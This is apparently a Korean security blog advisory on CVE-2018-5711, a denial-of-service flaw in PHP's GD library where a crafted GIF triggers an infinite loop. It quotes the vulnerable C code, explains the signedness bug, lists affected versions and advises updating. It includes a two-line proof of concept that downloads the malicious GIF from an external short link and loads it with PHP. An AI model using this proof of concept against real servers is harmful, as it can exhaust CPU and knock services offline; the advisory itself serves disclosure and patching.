최근 PHP GD 라이브러리에서 서비스거부 취약점이 발견되었습니다. 해당 취약점으로 php의 서버 CPU 사용률을 순간적으로 100%로 만들어 버릴 수 있습니다.
취약점 번호
CVE-2018-5711
취약점 원인
GD 라이브러리의 gf_gif-in.c에는 정수서명오류가 존재하여, 특별히 조작된 GIF 파일을 이용한다면 php 함수의 imagecreatefromgif 또는 imagecreatefromstring가 불러들여질 때 무한루프를 발생시킬 수 있습니다.
취약점은 ext/gd/libgd/gd_gif_in.c 코드에 존재합니다.
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
static int
GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
{
int i, j, ret;
unsigned char count;
if (flag) {
scd->curbit = 0;
scd->lastbit = 0;
scd->last_byte = 0;
scd->done = FALSE;
return 0;
}
if ( (scd->curbit + code_size) >= scd->lastbit) {
if (scd->done) {
if (scd->curbit >= scd->lastbit) {
/* Oh well */
}
return -1;
}
scd->buf[0] = scd->buf[scd->last_byte-2];
scd->buf[1] = scd->buf[scd->last_byte-1];
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
scd->last_byte = 2 + count;
scd->curbit = (scd->curbit - scd->lastbit) + 16;
scd->lastbit = (2+count)*8 ;
}
if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) {
ret = -1;
} else {
ret = 0;
for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
}
}
scd->curbit += code_size;
return ret;
}
GetCode는 GetDataBlock함수 콜을 통하여 GIF 이미지 중의 데이터를 읽어옵니다.
static int
GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
{
unsigned char count;
if (! ReadOK(fd,&count,1)) {
return -1;
}
*ZeroDataBlockP = count == 0;
if ((count != 0) && (! ReadOK(fd, buf, count))) {
return -1;
}
return count;
}
GetDataBlock 이 -1을 반환할 때, 두번째 코드 중 count 값이 이 값을 할당할 수 없기 때문에 bug가 발생하는 것입니다.
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
영향받는 버전
PHP 5.6.33 이하 버전
PHP 7.0.27 이하 버전
PHP 7.1.13 이하 버전
PHP 7.2.1 이하 버전
패치 방법
최신 버전으로 업데이트
참고 :
안드로이드 사용자를 노리는 크립토재킹 공격 (0) | 2018.02.13 |
---|---|
MacOS App 스크린캡쳐기능을 이용하여 사용자 비밀번호 및 비밀키 등 개인정보 탈취 가능한 취약점 발견! (0) | 2018.02.12 |
SCADA 채굴 악성코드 최초 발견! (0) | 2018.02.09 |
Wordpress CMS 플랫폼에서 DoS 취약점 발견! (0) | 2018.02.08 |
모네로 채굴 봇넷 Smominru, 50여만대의 Windows 기기 감염시켜 (0) | 2018.02.06 |
댓글 영역